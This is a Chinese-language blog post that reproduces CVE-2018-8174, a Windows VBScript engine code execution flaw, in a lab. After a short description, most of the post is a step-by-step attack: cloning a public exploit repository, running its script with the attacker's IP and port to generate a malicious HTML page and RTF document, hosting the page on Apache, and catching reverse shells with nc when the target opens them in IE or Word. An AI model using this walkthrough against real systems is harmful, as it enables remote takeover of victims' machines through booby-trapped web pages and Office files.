漏洞描述:

CVE-2018-8174 是 Windows VBScript Engine 代码执行漏洞。

微软在4月20日早上确认此漏洞,并于5月8号发布了官方安全补丁,对该 0day 漏洞进行了修复,将其命名为 CVE-2018-8174

由于 VBScript 脚本执行引擎(vbscript.dll)存在代码执行漏洞,攻击者可以将恶意的VBScript嵌入到Office文件或者网站中,一旦用户不小心点击,远程攻击者可以获取当前用户权限执行脚本中的恶意代码。

漏洞复现:

攻击机 IP:192.168.220.160

靶机 IP:192.168.220.161

项目地址:https://github.com/Sch01ar/CVE-2018-8174_EXP

┌─[root@sch01ar]─[/sch01ar]
└──╼ #git clone https://github.com/Sch01ar/CVE-2018-8174_EXP

ls 看一下

生成带有恶意 VBscript 的 html 页面和 word 文档

┌─[root@sch01ar]─[/sch01ar/CVE-2018-8174_EXP]
└──╼ #python CVE-2018-8174.py -u http://192.168.220.160/exploit.html -o msf.rtf -i 192.168.220.160 -p 4444

-u:URL 地址

-o:生成文档

-i:监听地址

-p:监听端口

查看一下生成的文件

把 explot.html 复制到 /var/www/html,并开启 apache 服务

┌─[root@sch01ar]─[/sch01ar/CVE-2018-8174_EXP]
└──╼ #cp exploit.html /var/www/html
┌─[root@sch01ar]─[/sch01ar/CVE-2018-8174_EXP]
└──╼ #service apache2 start

用 nc 监听 4444 端口

用靶机的 IE 浏览器打开恶意 URL

攻击机收到靶机的 shell 会话

在靶机用 word 打开 msf.rtf

攻击机同样也收到会话

最新文章

  1. Asp.net上传文件后台通过二进制流发送到其他Url保存
  2. 用python+selenium获取北上广深成五地PM2.5数据信息并按空气质量排序
  3. disposition
  4. java.lang.UnsupportedClassVersionError: org/xwiki/xxx : Unsupported major.minor version 51.0
  5. Hadoop.2.x_WordCount本地测试示例
  6. [BZOJ1856][SCOI2010]字符串(组合数学)
  7. <转>错误 x error LNK1104: 无法打开文件“E:\xxxx\Debug\xxxx.exe”
  8. Azure Blob Storage从入门到精通
  9. BaseAdapter的ArrayIndexOutOfBoundsException
  10. 搭建Struts2开发环境
  11. ie6+7+8等对background-color:rgba(),background-img渐变的兼容
  12. 关于jQuery中的$.grep()方法的使用
  13. ASP.NET没有魔法——ASP.NET Identity与授权
  14. MinerDB.java 数据库工具类
  15. 1 主机WiFi连接下与虚拟机通信问题
  16. Python中*和**的作用(课堂小结)
  17. JavaScript学习(六)
  18. Chess (SG + 状态压缩预处理)
  19. [C#]使用Label标签控件模拟窗体标题的移动及窗体颜色不断变换
  20. 【ElasticSearch】ES5新特性-keyword-text类型-查询区别

热门文章

  1. MySQL备份与恢复实战案例及生产方案
  2. 【.Net】Socket小示例
  3. elasticsearch聚合案例--分组、求最大值再求最大值的均值
  4. Build ios app with Delphi Xe4. Lazy Social Talker ready for sale.
  5. go语言通过反射获取和设置结构体字段值的方法
  6. Go语言开发中MongoDB数据库
  7. 使用Reaver破解开启了WPS功能的wifi密码(wpa/wpa2)
  8. DotNet Core Console 程序使用NLog
  9. dynamic_caast操作符
  10. SPOJ1812 Longest Common Substring II